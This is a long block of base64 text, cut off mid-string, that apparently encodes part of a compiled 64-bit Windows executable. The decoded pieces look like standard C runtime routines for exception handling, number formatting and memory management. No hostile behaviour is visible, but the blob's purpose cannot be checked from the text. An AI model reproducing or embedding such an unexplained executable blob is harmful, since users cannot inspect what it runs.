1Behjr///gT9jc23gdR6DfxgEdRiLRyAtIAWTGYP4AncLTDlnMHUF6D2v///orJL//0w5oAgBAAAPhJMAAADompL//0yLsAgBAADojpL//0mL1kiLz0yJoAgBAADolAUAAITAdWhFi/xFOSYPjtICAABJi/To3Fv//0ljTgRIA8ZEOWQBBHQb6Mlb//9JY04ESAPGSGNcAQTouFv//0gDw+sDSYvESI0VOacCAEiLyOjVIv//hMAPhY0CAABB/8dIg8YURTs+fKzpdgIAAEyLdVeBP2NzbeAPhS4CAACDfxgED4UkAgAAi0cgLSAFkxmD+AIPhxMCAABEOWMMD4ZOAQAARItFd0iNRb9MiXwkMEiJRCQoSI1Fu0SLzkiL00mLzUiJRCQg6M5X//+LTbuLVb87yg+DFwEAAEyNcBBBOXbwD4/rAAAAQTt29A+P4QAAAOj/Wv//TWMmTAPgQYtG/IlFw4XAD47BAAAA6P1a//9Ii08wSGNRDEiDwARIA8JIiUXP6OVa//9Ii08wSGNRDIsMEIlNx4XJfjfozlr//0iLTc9Mi0cwSGMJSAPBSYvMSIvQSIlF1+hNDgAAhcB1HItFx0iDRc8E/8iJRceFwH/Ji0XD/8hJg8QU64SKRW9Mi0VXTYvPiEQkWIpFR0mL1YhEJFBIi0V/SIvPSIlEJEiLRXfGRbcBiUQkQEmNRvBIiUQkOEiLRddIiUQkMEyJZCQoSIlcJCDo6fv//4tVv4tNu//BSYPGFIlNuzvKD4L6/v//RTPkRDhltw+FjQAAAIsDJf///x89IQWTGXJ/i3MghfZ0DUhj9ujoWf//SAPG6wNJi8RIhcB0Y4X2dBHo0ln//0iL0EhjQyBIA9DrA0mL1EiLz+hbAwAAhMB1P0yNTUdMi8NJi9dJi83ofVX//4pNb0yLRVeITCRATIl8JDhIiVwkMINMJCj/TIvISIvXSYvNTIlkJCDoFFr//+j7j///TDmgCAEAAHQF6Hms//9Ii5wk+AAAAEiBxLAAAABBX0FeQV1BXF9eXcNEOWMMdsxEOGVvdXBIi0V/TYvPTYvGSIlEJDiLRXdJi9WJRCQwSIvPiXQkKEiJXCQg6EwAAADrmuhBrP//zLIBSIvP6OL5//9IjQXTvgAASI1VR0iNTedIiUVH6MJb//9IjQWrvgAASI0VzGkCAEiNTedIiUXn6N9T///M6P2r///MSIlcJBBMiUQkGFVWV0FUQVVBVkFXSIPscIE5AwAAgE2L+UmL+EyL4kiL8Q+EHAIAAOgaj///SIusJNAAAABIg7jgAAAAAHRhM8n/FciNAABIi9jo+I7//0g5mOAAAAB0SIE+TU9D4HRAgT5SQ0Pgi5wk4AAAAHQ4SIuEJOgAAABNi89Mi8dIiUQkMEmL1EiLzolcJChIiWwkIOgxV///hcAPhaYBAADrB4ucJOAAAACDfQwAdQXoIav//0SLtCTYAAAASI1EJGBMiXwkMEiJRCQoSI2EJLAAAABEi8NFi85Ii9VJi8xIiUQkIOh8VP//i4wksAAAADtMJGAPg0wBAABIjXgMTI1v9EU7dQAPjCMBAABEO3f4D48ZAQAA6KZX//9IYw9IjRSJSGNPBEiNFJGDfBDwAHQj6ItX//9IYw9IjRSJSGNPBEiNFJFIY1wQ8OhyV///SAPD6wIzwEiFwHRK6GFX//9IYw9IjRSJSGNPBEiNFJGDfBDwAHQj6EZX//9IYw9IjRSJSGNPBEiNFJFIY1wQ8OgtV///SAPD6wIzwIB4EAAPhYMAAADoF1f//0hjD0iNFIlIY08ESI0UkfZEEOxAdWjo/Fb//4sPTIuEJMAAAADGRCRYAMZEJFAB/8lIY8lNi89IjRSJSI0MkEhjRwRJi9RIA8hIi4Qk6AAAAEiJRCRIi4Qk4AAAAIlEJEBMiWwkOEiDZCQwAEiJTCQoSIvOSIlsJCDoWfj//4uMJLAAAAD/wUiDxxSJjCSwAAAAO0wkYA+CuP7//0iLnCS4AAAASIPEcEFfQV5BXUFcX15dw8zMzEiJXCQISIlsJBBIiXQkGFdBVEFVQVZBV0iD7CBIi/JMi+lIhdIPhKEAAAAz/0Uy9jk6fnjoP1b//0iL0EmLRTBMY3gMSYPHBEwD+ugoVv//SIvQSYtFMEhjSAyLLAqF7X5ESGPHTI0kgOgKVv//SIvYSWMHSAPY6ORV//9IY04ETYtFMEqNBKBIi9NIA8jogQkAAIXAdQz/zUmDxwSF7X/I6wNBtgH/xzs+fIhIi1wkUEiLbCRYSIt0JGBBisZIg8QgQV9BXkFdQVxfw+ijqP//6L6o///MzEhjAkgDwYN6BAB8FkxjSgRIY1IISYsMCUxjBApNA8FJA8DDzEiJXCQISIl0JBBIiXwkGEFWSIPsIEmL+UyL8UH3AAAAAIB0BUiL8usHSWNwCEgDMuiDAAAA/8h0N//IdVsz2zlfGHQP6DNV//9Ii9hIY0cYSAPYSI1XCEmLTijofP///0iL0EG4AQAAAEiLzv/T6ygz2zlfGHQM6ABV//9IY18YSAPYSI1XCEmLTijoTP///0iL0EiLzv/T6wbo+af//5BIi1wkMEiLdCQ4SIt8JEBIg8QgQV7DzMxIiVwkCEiJdCQQSIl8JBhBVUFWQVdIg+wwTYvxSYvYSIvyTIvpM/9Fi3gERYX/dA5NY//odFT//0mNFAfrA0iL10iF0g+E6QEAAEWF/3QR6FhU//9Ii8hIY0MESAPI6wNIi89AOHkQD4TGAQAAOXsIdQz3AwAAAIAPhLUBAACLC4XJeApIY0MISAMGSIvwhMl5V0H2BhB0UUiLBSW1AgBIhcB0Rf/QTIv4uwEAAACL00iLyOgcTgAAhcAPhGMBAACL00iLzugKTgAAhcAPhFEBAABMiT5Ji89JjVYI6EP+//9IiQbpQAEAALsBAAAA9sEIdC6L00mLTSjo1k0AAIXAD4QdAQAAi9NIi87oxE0AAIXAD4QLAQAASYtNKEiJDuu3QYQedFGL00mLTSjoo00AAIXAD4TqAAAAi9NIi87okU0AAIXAD4TYAAAATWNGFEmLVShIi87oKRD//0GDfhQID4XDAAAASDk+D4S6AAAASIsO6WH///9BOX4YdBHoQlP//0iLyEljRhhIA8jrA0iLz4vTSIXJSYtNKHU46DNNAACFwHR+i9NIi87oJU0AAIXAdHBJY14USY1WCEmLTSjoYP3//0iL0EyLw0iLzuiyD///61Xo+0wAAIXAdEaL00iLzujtTAAAhcB0OEE5fhh0EejOUv//SIvISWNGGEgDyOsDSIvP6MpMAACFwHQVQYoGJAT22BvJ99kDy4v5iUwkIOsG6Jil//+Qi8frCOiupf//kDPASItcJFBIi3QkWEiLfCRgSIPEMEFfQV5BXcPMQFNWV0FUQVVBVkFXSIHskAAAAEiL+UUz/0SJfCQgRCG8JNAAAABMIXwkQEwhvCToAAAA6KyI//9Mi6j4AAAATIlsJFDom4j//0iLgPAAAABIiYQk4AAAAEiLd1BIibQk2AAAAEiLR0hIiUQkSEiLX0BIi0cwSIlEJFhMi3coTIl0JGDoXIj//0iJsPAAAADoUIj//0iJmPgAAADoRIj//0iLkPAAAABIi1IoSI1MJHjoA1H//0yL4EiJRCQ4TDl/WHQfx4Qk0AAAAAEAAADoEYj//0iLiDgBAABIiYwk6AAAAEG4AAEAAEmL1kiLTCRY6K9LAABIi9hIiUQkQEiLvCTgAAAA63vHRCQgAQAAAOjQh///g6BgBAAAAEiLtCTYAAAAg7wk0AAAAAB0IbIBSIvO6AXy//9Ii4Qk6AAAAEyNSCBEi0AYi1AEiwjrDUyNTiBEi0YYi1YEiw7/FauGAABEi3wkIEiLXCRATItsJFBIi7wk4AAAAEyLdCRgTItkJDhJi8zoclD//0WF/3UygT5jc23gdSqDfhgEdSSLRiAtIAWTGYP4AncXSItOKOjZUP//hcB0CrIBSIvO6Hvx///oHof//0iJuPAAAADoEof//0yJqPgAAABIi0QkSEhjSBxJiwZIxwQB/v///0iLw0iBxJAAAABBX0FeQV1BXF9eW8PMSIPsKEiLAYE4UkND4HQSgThNT0PgdAqBOGNzbeB1G+sg6LqG//+DuAABAAAAfgvorIb///+IAAEAADPASIPEKMPomob//4OgAAEAAADoOqP//8zMSIvERIlIIEyJQBhIiVAQSIlICFNWV0FUQVVBVkFXSIPsMEWL4UmL8EyL6kyL+ejRT///SIlEJChMi8ZJi9VJi8/oogQAAIv46D+G////gAABAACD//8PhO0AAABBO/wPjuQAAACD//9+BTt+BHwF6KSi//9MY/foiE///0hjTghKjQTwizwBiXwkIOh0T///SGNOCEqNBPCDfAEEAHQc6GBP//9IY04ISo0E8EhjXAEE6E5P//9IA8PrAjPASIXAdF5Ei89Mi8ZJi9VJi8/oaQQAAOgsT///SGNOCEqNBPCDfAEEAHQc6BhP//9IY04ISo0E8EhjXAEE6AZP//9IA8PrAjPAQbgDAQAASYvXSIvI6DZJAABIi0wkKOhIT///6x5Ei6QkiAAAAEiLtCSAAAAATItsJHhMi3wkcIt8JCCJfCQk6Qr////oPoX//4O4AAEAAAB+C+gwhf///4gAAQAAg///dApBO/x+Beinof//RIvPTIvGSYvVSYvP6LoDAABIg8QwQV9BXkFdQVxfXlvDzMxIiVwkCEiJbCQQSIl0JBhXQVRBVkiD7EBJi+lNi/BIi/JIi9noz4T//0iLvCSAAAAAg7hgBAAAALr///8fQbgpAACAQbkmAACAQbwBAAAAdTiBO2NzbeB0MEQ5A3UQg3sYD3UKSIF7YCAFkxl0G0Q5C3QWiw8jyoH5IgWTGXIKRIRnJA+FfwEAAItDBKhmD4SSAAAAg38EAA+EagEAAIO8JIgAAAAAD4VcAQAAg+AgdD5EOQt1OU2LhvgAAABIi9VIi8/oMAMAAIvYg/j/fAU7RwR8BeiroP//RIvLSIvOSIvVTIvH6IL9///pGQEAAIXAdCBEOQN1G4tzOIP+/3wFO3cEfAXoeqD//0iLSyhEi87rzEyLx0iL1UiLzugfS///6eIAAACDfwwAdS6LByPCPSEFkxkPgs0AAACDfyAAdA7oKk3//0hjTyBIA8HrAjPASIXAD4SuAAAAgTtjc23gdW2DexgDcmeBeyAiBZMZdl5Ii0Mwg3gIAHQS6AhN//9Ii0swTGNRCEwD0OsDRTPSTYXSdDoPtoQkmAAAAEyLzU2LxolEJDhIi4QkkAAAAEiL1kiJRCQwi4QkiAAAAEiLy4lEJChIiXwkIEH/0us8SIuEJJAAAABMi81Ni8ZIiUQkOIuEJIgAAABIi9aJRCQwioQkmAAAAEiLy4hEJChIiXwkIOjs7v//QYvESItcJGBIi2wkaEiLdCRwSIPEQEFeQVxfw0iLxEiJWAhIiWgQSIlwGEiJeCBBVkiD7CCLcQQz202L8EiL6kiL+YX2dA5IY/boGUz//0iNDAbrA0iLy0iFyQ+EyAAAAIX2dA9IY3cE6PpL//9IjQwG6wNIi8s4WRAPhKkAAAD2B4B0CvZFABAPhZoAAACF9nQR6NBL//9Ii/BIY0cESAPw6wNIi/Po1Ev//0iLyEhjRQRIA8hIO/F0OjlfBHQR6KNL//9Ii/BIY0cESAPw6wNIi/Pop0v//0hjVQRIjU4QSIPCEEgD0OiDcv//hcB0BDPA6zmwAoRFAHQF9gcIdCRB9gYBdAX2BwF0GUH2BgR0BfYHBHQOQYQGdASEB3QFuwEAAACLw+sFuAEAAABIi1wkMEiLbCQ4SIt0JEBIi3wkSEiDxCBBXsPMzMxIg+woTWNIHEiLAU2L0EGLBAGD+P51C0yLAkmLyuiCAAAASIPEKMPMQFNIg+wgTI1MJEBJi9jouUb//0iLCEhjQxxIiUwkQItECARIg8QgW8PMzMxJY1AcSIsBRIkMAsNIiVwkCFdIg+wgQYv5TI1MJEBJi9joekb//0iLCEhjQxxIiUwkQDt8CAR+BIl8CARIi1wkMEiDxCBfw8xMiwLpAAAAAEiJXCQISIlsJBBIiXQkGFdIg+wgSYvoSIvySIvZSIXJdQXoZZ3//0hjQxiLexRIA0YIdQXoU53//0UzwIX/dDRMi04ITGNTGEuNDMFKYxQRSQPRSDvqfAhB/8BEO8dy6EWFwHQPQY1I/0mNBMlCi0QQBOsDg8j/SItcJDBIi2wkOEiLdCRASIPEIF/DSIPsSItEJHhIg2QkMACJRCQoi0QkcIlEJCDoBQAAAEiDxEjDSIPsOEGNQbtBut////9BhcJ0SkGD+WZ1FkiLRCRwRItMJGBIiUQkIOhbCAAA60pBjUG/RItMJGBBhcJIi0QkcEiJRCQoi0QkaIlEJCB0B+gICQAA6yPoJQAAAOscSItEJHBEi0wkYEiJRCQoi0QkaIlEJCDoswUAAEiDxDjDzMxIi8RIiVgISIloEEiJcBhXQVRBVUFWQVdIg+xQSIv6SIuUJKgAAABMi/FIjUi4Qb8wAAAAQYvZSYvwQbz/AwAAQQ+37+j7EP//RTPJhdtBD0jZSIX/dQzoXD3//7sWAAAA6x1IhfZ0741DC0SID0hjyEg78XcZ6D09//+7IgAAAIkY6EFQ//9FM8np7gIAAEmLBrn/BwAASMHoNEgjwUg7wQ+FkgAAAEyJTCQoRIlMJCBMjUb+SIP+/0iNVwJEi8tMD0TGSYvO6OAEAABFM8mL2IXAdAhEiA/poAIAAIB/Ai2+AQAAAHUGxgctSAP+i5wkoAAAAESIP7plAAAAi8P32BrJgOHggMF4iAw3SI1OAUgDz+gALv//RTPJSIXAD4RWAgAA99sayYDh4IDBcIgIRIhIA+lBAgAASLgAAAAAAAAAgL4BAAAASYUGdAbGBy1IA/5Ei6wkoAAAAEWL10m7////////DwBEiBdIA/5Bi8X32EGLxRrJgOHggMF4iA9IA/732BvSSLgAAAAAAADwf4Pi4IPq2UmFBnUbRIgXSYsGSAP+SSPDSPfYTRvkQYHk/gMAAOsGxgcxSAP+TIv/SAP+hdt1BUWID+sUSItEJDBIi4jwAAAASIsBighBiA9NhR4PhogAAABJuAAAAAAAAA8Ahdt+LUmLBkCKzUkjwEkjw0jT6GZBA8Jmg/g5dgNmA8KIB0nB6AQr3kgD/maDxfx5z2aF7XhISYsGQIrNSSPASSPDSNPoZoP4CHYzSI1P/4oBLEao33UIRIgRSCvO6/BJO890FIoBPDl1B4DCOogR6w1AAsaIAesGSCvOQAAxhdt+GEyLw0GK0kiLz+jtZv//SAP7RTPJRY1RMEU4D0kPRP9B990awCTgBHCIB0mLDkgD/kjB6TSB4f8HAABJK8x4CMYHK0gD/usJxgctSAP+SPfZTIvHRIgXSIH56AMAAHwzSLjP91PjpZvEIEj36UjB+gdIi8JIweg/SAPQQY0EEogHSAP+SGnCGPz//0gDyEk7+HUGSIP5ZHwuSLgL16NwPQrXo0j36UgD0UjB+gZIi8JIweg/SAPQQY0EEogHSAP+SGvCnEgDyEk7+HUGSIP5CnwrSLhnZmZmZmZmZkj36UjB+gJIi8JIweg/SAPQQY0EEogHSAP+SGvC9kgDyEECyogPRIhPAUGL2UQ4TCRIdAxIi0wkQIOhyAAAAP1MjVwkUIvDSYtbMEmLazhJi3NASYvjQV9BXkFdQVxfw0iLxEiJWAhIiWgQSIlwGEiJeCBBVUFWQVdIg+xQTIvySIuUJKAAAABIi/lIjUjIRYvpSWPw6FoN//9Ihf90BU2F9nUM6L85//+7FgAAAOsbM8CF9g9PxoPACUiYTDvwdxboojn//7siAAAAiRjopkz//+k4AQAAgLwkmAAAAABIi6wkkAAAAHQ0M9uDfQAtD5TDRTP/SAPfhfZBD5/HRYX/dBpIi8voVT///0ljz0iL00yNQAFIA8voswH//4N9AC1Ii9d1B8YHLUiNVwGF9n4bikIBiAJIi0QkMEj/wkiLiPAAAABIiwGKCIgKM8lIjRwyTI0Fh6oAADiMJJgAAAAPlMFIA9lIK/tJg/7/SIvLSY0UPkkPRNbofy///4XAD4W+AAAASI1LAkWF7XQDxgNFSItFEIA4MHRWRItFBEH/yHkHQffYxkMBLUGD+GR8G7gfhetRQffowfoFi8LB6B8D0ABTAmvCnEQDwEGD+Ap8G7hnZmZmQffowfoCi8LB6B8D0ABTA2vC9kQDwEQAQwT2Bc2lAgABdBSAOTB1D0iNUQFBuAMAAADowwD//zPbgHwkSAB0DEiLTCRAg6HIAAAA/UyNXCRQi8NJi1sgSYtrKEmLczBJi3s4SYvjQV9BXkFdw0iDZCQgAEUzyUUzwDPSM8noQEv//8zMzMxAU1VWV0iB7IgAAABIiwVJegIASDPESIlEJHBIiwlJi9hIi/pBi/G9FgAAAEyNRCRYSI1UJEBEi83oKkEAAEiF/3UT6MQ3//+JKOjNSv//i8XpiAAAAEiF23ToSIPK/0g72nQaM8CDfCRALUiL0w+UwEgr0DPAhfYPn8BIK9AzwIN8JEAtRI1GAQ+UwDPJhfYPn8FIA8dMjUwkQEgDyOiJPQAAhcB0BcYHAOsySIuEJNgAAABEi4wk0AAAAESLxkiJRCQwSI1EJEBIi9NIi8/GRCQoAEiJRCQg6Cb9//9Ii0wkcEgzzOhZ//7/SIHEiAAAAF9eXVvDzEiLxEiJWAhIiWgQSIlwGEiJeCBBVkiD7EBBi1kESIvySItUJHhIi/lIjUjYSYvp/8tFi/DoZwr//0iF/3QFSIX2dRbozDb//7sWAAAAiRjo0En//+nYAAAAgHwkcAB0GkE73nUVM8CDfQAtSGPLD5TASAPHZscEATAAg30ALXUGxgctSP/Hg30EAH8gSIvP6Hg8//9IjU8BSIvXTI1AAejY/v7/xgcwSP/H6wdIY0UESAP4RYX2fndIi89IjXcB6Eg8//9Ii9dIi85MjUAB6Kn+/v9Ii0QkIEiLiPAAAABIiwGKCIgPi10Ehdt5QvfbgHwkcAB1C4vDQYveRDvwD03Yhdt0GkiLzuj/O///SGPLSIvWTI1AAUgDzuhd/v7/TGPDujAAAABIi87onWH//zPbgHwkOAB0DEiLTCQwg6HIAAAA/UiLbCRYSIt0JGBIi3wkaIvDSItcJFBIg8RAQV7DzMzMQFNVVldIg+x4SIsF8HcCAEgzxEiJRCRgSIsJSYvYSIv6QYvxvRYAAABMjUQkSEiNVCQwRIvN6NE+AABIhf91EOhrNf//iSjodEj//4vF62tIhdt060iDyv9IO9p0EDPAg3wkMC1Ii9MPlMBIK9BEi0QkNDPJTI1MJDBEA8aDfCQwLQ+UwUgDz+hDOwAAhcB0BcYHAOslSIuEJMAAAABMjUwkMESLxkiJRCQoSIvTSIvPxkQkIADo4f3//0iLTCRgSDPM6CD9/v9Ig8R4X15dW8PMzMxAU1VWV0FWSIHsgAAAAEiLBRd3AgBIM8RIiUQkcEiLCUmL+EiL8kGL6bsWAAAATI1EJFhIjVQkQESLy+j4PQAASIX2dRPokjT//4kY6JtH//+Lw+nBAAAASIX/dOhEi3QkRDPAQf/Og3wkQC0PlMBIg8r/SI0cMEg7+nQGSIvXSCvQTI1MJEBEi8VIi8voajoAAIXAdAXGBgDrfotEJET/yEQ78A+cwYP4/Hw7O8V9N4TJdAyKA0j/w4TAdfeIQ/5Ii4Qk2AAAAEyNTCRARIvFSIlEJChIi9dIi87GRCQgAejj/P//6zJIi4Qk2AAAAESLjCTQAAAARIvFSIlEJDBIjUQkQEiL10iLzsZEJCgBSIlEJCDou/n//0iLTCRwSDPM6O77/v9IgcSAAAAAQV5fXl1bwzPS6QEAAADMQFNIg+xASIvZSI1MJCDoGQf//4oLTItEJCCEyXQZSYuA8AAAAEiLEIoCOsh0CUj/w4oLhMl184oDSP/DhMB0PesJLEWo33QJSP/DigOEwHXxSIvTSP/LgDswdPhJi4DwAAAASIsIigE4A3UDSP/LigJI/8NI/8KIA4TAdfKAfCQ4AHQMSItEJDCDoMgAAAD9SIPEQFvDzMxFM8npAAAAAEBTSIPsMEmLwEiL2k2LwUiL0IXJdBRIjUwkIOicOgAASItEJCBIiQPrEEiNTCRA6FA7AACLRCRAiQNIg8QwW8Mz0ukBAAAAzEBTSIPsQEiL2UiNTCQg6DEG//8PvgvoYab//4P4ZXQPSP/DD7YL6C0jAACFwHXxD74L6EWm//+D+Hh1BEiDwwJIi0QkIIoTSIuI8AAAAEiLAYoIiAtI/8OKA4gTitCKA0j/w4TAdfE4RCQ4dAxIi0QkMIOgyAAAAP1Ig8RAW8PM8g8QATPAZg8vBaqjAAAPk8DDzMxIg+wog/n+dQ3oFjL//8cACQAAAOtChcl4LjsNQLkCAHMmSGPJSI0VgJoCAEiLwYPhH0jB+AVIa8lYSIsEwg++RAgIg+BA6xLo1zH//8cACQAAAOjcRP//M8BIg8Qow8xIiVwkEIlMJAhWV0FUQVZBV0iD7CBBi/BMi/JIY9mD+/51GOgsMf//gyAA6JQx///HAAkAAADplAAAAIXJeHg7Hbu4AgBzcEiLw0iL+0jB/wVMjSX0mQIAg+AfTGv4WEmLBPxCD75MOAiD4QF0SYvL6HsX//+QSYsE/EL2RDgIAXQSRIvGSYvWi8voWQAAAEiL+OsX6Csx///HAAkAAADosDD//4MgAEiDz/+Ly+ieG///SIvH6xzomDD//4MgAOgAMf//xwAJAAAA6AVE//9Ig8j/SItcJFhIg8QgQV9BXkFcX17DzMzMSIlcJAhIiXQkEFdIg+wgSGPZQYv4SIvyi8voJRr//0iD+P91EeiyMP//xwAJAAAASIPI/+tNTI1EJEhEi89Ii9ZIi8j/FcJvAACFwHUP/xXIbgAAi8joMTD//+vTSIvLSIvDSI0V+pgCAEjB+AWD4R9IiwTCSGvJWIBkCAj9SItEJEhIi1wkMEiLdCQ4SIPEIF/DzEBTSIPsIP8FDIoCAEiL2bkAEAAA6M9e//9IiUMQSIXAdA2DSxgIx0MkABAAAOsTg0sYBEiNQyDHQyQCAAAASIlDEEiLQxCDYwgASIkDSIPEIFvDzEiJXCQYSIlsJCBWV0FWSIPsQEiLBStyAgBIM8RIiUQkMPZCGEBIi/oPt/EPhXkBAABIi8rotxP//0iNLXx+AgBMjTU1mAIAg/j/dDFIi8/onBP//4P4/nQkSIvP6I8T//9Ii89IY9hIwfsF6IAT//+D4B9Ia8hYSQMM3usDSIvNikE4JH88Ag+EBgEAAEiLz+hbE///g/j/dDFIi8/oThP//4P4/nQkSIvP6EET//9Ii89IY9hIwfsF6DIT//+D4B9Ia8hYSQMM3usDSIvNikE4JH88AQ+EuAAAAEiLz+gNE///g/j/dC9Ii8/oABP//4P4/nQiSIvP6PMS//9Ii89IY9hIwfsF6OQS//+D4B9Ia+hYSQMs3vZFCIAPhIkAAABIjVQkJEiNTCQgRA+3zkG4BQAAAOjKEQAAM9uFwHQKuP//AADpiQAAADlcJCB+PkyNdCQk/08IeBZIiw9BigaIAUiLBw+2CEj/wEiJB+sOQQ++DkiL1+jkQf//i8iD+f90vf/DSf/GO1wkIHzHD7fG60BIY08ISIPB/olPCIXJeCZIiw9miTHrFUhjRwhIg8D+iUcIhcB4D0iLB2aJMEiDBwIPt8brC0iL1w+3zug1OAAASItMJDBIM8zoTPb+/0iLXCRwSItsJHhIg8RAQV5fXsPMSIvESIlYCEiJaBBIiXAYSIl4IEFWSIPsUEUz9kmL6EiL8kiL+UiF0nQTTYXAdA5EODJ1JkiFyXQEZkSJMTPASItcJGBIi2wkaEiLdCRwSIt8JHhIg8RQQV7DSI1MJDBJi9HoJQH//0iLRCQwTDmwOAEAAHUVSIX/dAYPtgZmiQe7AQAAAOmtAAAAD7YOSI1UJDDoYST//7sBAAAAhcB0WkiLTCQwRIuJ1AAAAEQ7y34vQTvpfCqLSQRBi8ZIhf8PlcCNUwhMi8aJRCQoSIl8JCD/FaFrAABIi0wkMIXAdRJIY4HUAAAASDvocj1EOHYBdDeLmdQAAADrPUGLxkiF/0SLyw+VwEyLxroJAAAAiUQkKEiLRCQwSIl8JCCLSAT/FVNrAACFwHUO6NIs//+Dy//HACoAAABEOHQkSHQMSItMJECDocgAAAD9i8Pp7v7//8zMzEUzyemk/v//SIlcJAhIiXQkEFdIg+wgSIvaSIv5SIXJdQpIi8roJgT//+tqSIXSdQfoHgL//+tcSIP64HdDSIsNJ4wCALgBAAAASIXbSA9E2EyLxzPSTIvL/xW1awAASIvwSIXAdW85BU+SAgB0UEiLy+ihX///hcB0K0iD++B2vUiLy+iPX///6B4s///HAAwAAAAzwEiLXCQwSIt0JDhIg8QgX8PoASz//0iL2P8VOGoAAIvI6BEs//+JA+vV6Ogr//9Ii9j/FR9qAACLyOj4K///iQNIi8bru8xIiVwkCEiJdCQQV0iD7CAz/0iL2kiL8UiF0nQdM9JIjUfgSPfzSTvAcw/ooSv//8cADAAAADPA6z1JD6/YSIXJdAjobVn//0iL+EiL00iLzujX/v//SIvwSIXAdBZIO/tzEUgr30iNDAcz0kyLw+gVV///SIvGSItcJDBIi3QkOEiDxCBfw8zMSIvESIlYCEiJaBBIiXAYSIl4IEFWSIPsIEiL6TP/vuMAAABMjTVGqwAAjQQ+QbhVAAAASIvNmSvC0fhIY9hIi9NIA9JJixTW6AMBAACFwHQTeQWNc//rA417ATv+fsuDyP/rC0iLw0gDwEGLRMYISItcJDBIi2wkOEiLdCRASIt8JEhIg8QgQV7DzMxIg+woSIXJdCLoZv///4XAeBlImEg95AAAAHMPSI0NgZwAAEgDwIsEwesCM8BIg8Qow8zMTIvcSYlbCEmJcxBXSIPsUEyLFZmyAgBBi9lJi/hMMxW0bAIAi/J0KjPASYlD6EmJQ+BJiUPYi4QkiAAAAIlEJChIi4QkgAAAAEmJQ8hB/9LrLeh1////RIvLTIvHi8iLhCSIAAAAi9aJRCQoSIuEJIAAAABIiUQkIP8VaWoAAEiLXCRgSIt0JGhIg8RQX8PMRTPJTIvSTIvZTYXAdENMK9pDD7cME41Bv2aD+Bl3BGaDwSBBD7cSjUK/ZoP4GXcEZoPCIEmDwgJJ/8h0CmaFyXQFZjvKdMoPt8JED7fJRCvIQYvBw8zMzMzMzMzMzMzMzMzMzMzMZmYPH4QAAAAAAEiD7AgPrhwkiwQkSIPECMOJTCQID65UJAjDD65cJAi5wP///yFMJAgPrlQkCMNmDy4FKs4AAHMUZg8uBSjOAAB2CvJIDy3I8kgPKsHDzMzMSIXJD4QAAQAAU0iD7CBIi9lIi0kYSDsNPHoCAHQF6L3+/v9Ii0sgSDsNMnoCAHQF6Kv+/v9Ii0soSDsNKHoCAHQF6Jn+/v9Ii0swSDsNHnoCAHQF6If+/v9Ii0s4SDsNFHoCAHQF6HX+/v9Ii0tASDsNCnoCAHQF6GP+/v9Ii0tISDsNAHoCAHQF6FH+/v9Ii0toSDsNDnoCAHQF6D/+/v9Ii0twSDsNBHoCAHQF6C3+/v9Ii0t4SDsN+nkCAHQF6Bv+/v9Ii4uAAAAASDsN7XkCAHQF6Ab+/v9Ii4uIAAAASDsN4HkCAHQF6PH9/v9Ii4uQAAAASDsN03kCAHQF6Nz9/v9Ig8QgW8PMzEiFyXRmU0iD7CBIi9lIiwlIOw0deQIAdAXotv3+/0iLSwhIOw0TeQIAdAXopP3+/0iLSxBIOw0JeQIAdAXokv3+/0iLS1hIOw0/eQIAdAXogP3+/0iLS2BIOw01eQIAdAXobv3+/0iDxCBbw0iFyQ+E8AMAAFNIg+wgSIvZSItJCOhO/f7/SItLEOhF/f7/SItLGOg8/f7/SItLIOgz/f7/SItLKOgq/f7/SItLMOgh/f7/SIsL6Bn9/v9Ii0tA6BD9/v9Ii0tI6Af9/v9Ii0tQ6P78/v9Ii0tY6PX8/v9Ii0tg6Oz8/v9Ii0to6OP8/v9Ii0s46Nr8/v9Ii0tw6NH8/v9Ii0t46Mj8/v9Ii4uAAAAA6Lz8/v9Ii4uIAAAA6LD8/v9Ii4uQAAAA6KT8/v9Ii4uYAAAA6Jj8/v9Ii4ugAAAA6Iz8/v9Ii4uoAAAA6ID8/v9Ii4uwAAAA6HT8/v9Ii4u4AAAA6Gj8/v9Ii4vAAAAA6Fz8/v9Ii4vIAAAA6FD8/v9Ii4vQAAAA6ET8/v9Ii4vYAAAA6Dj8/v9Ii4vgAAAA6Cz8/v9Ii4voAAAA6CD8/v9Ii4vwAAAA6BT8/v9Ii4v4AAAA6Aj8/v9Ii4sAAQAA6Pz7/v9Ii4sIAQAA6PD7/v9Ii4sQAQAA6OT7/v9Ii4sYAQAA6Nj7/v9Ii4sgAQAA6Mz7/v9Ii4soAQAA6MD7/v9Ii4swAQAA6LT7/v9Ii4s4AQAA6Kj7/v9Ii4tAAQAA6Jz7/v9Ii4tIAQAA6JD7/v9Ii4tQAQAA6IT7/v9Ii4toAQAA6Hj7/v9Ii4twAQAA6Gz7/v9Ii4t4AQAA6GD7/v9Ii4uAAQAA6FT7/v9Ii4uIAQAA6Ej7/v9Ii4uQAQAA6Dz7/v9Ii4tgAQAA6DD7/v9Ii4ugAQAA6CT7/v9Ii4uoAQAA6Bj7/v9Ii4uwAQAA6Az7/v9Ii4u4AQAA6AD7/v9Ii4vAAQAA6PT6/v9Ii4vIAQAA6Oj6/v9Ii4uYAQAA6Nz6/v9Ii4vQAQAA6ND6/v9Ii4vYAQAA6MT6/v9Ii4vgAQAA6Lj6/v9Ii4voAQAA6Kz6/v9Ii4vwAQAA6KD6/v9Ii4v4AQAA6JT6/v9Ii4sAAgAA6Ij6/v9Ii4sIAgAA6Hz6/v9Ii4sQAgAA6HD6/v9Ii4sYAgAA6GT6/v9Ii4sgAgAA6Fj6/v9Ii4soAgAA6Ez6/v9Ii4swAgAA6ED6/v9Ii4s4AgAA6DT6/v9Ii4tAAgAA6Cj6/v9Ii4tIAgAA6Bz6/v9Ii4tQAgAA6BD6/v9Ii4tYAgAA6AT6/v9Ii4tgAgAA6Pj5/v9Ii4toAgAA6Oz5/v9Ii4twAgAA6OD5/v9Ii4t4AgAA6NT5/v9Ii4uAAgAA6Mj5/v9Ii4uIAgAA6Lz5/v9Ii4uQAgAA6LD5/v9Ii4uYAgAA6KT5/v9Ii4ugAgAA6Jj5/v9Ii4uoAgAA6Iz5/v9Ii4uwAgAA6ID5/v9Ii4u4AgAA6HT5/v9Ig8QgW8PMzEBVQVRBVUFWQVdIg+xASI1sJDBIiV1ASIl1SEiJfVBIiwXuZQIASDPFSIlFAESLdWgz/0WL+U2L4ESL6kWF9nUHSIsBRItwBPddcEGLzol8JCgb0kiJfCQgg+II/8L/FdhhAABIY/CFwHUHM8Dp3gAAAH53SLjw////////f0g78HdoSI0MNkiNQRBIO8F2W0iNDHUQAAAASIH5AAQAAHcxSI1BD0g7wXcKSLjw////////D0iD4PDov3n//0gr4EiNXCQwSIX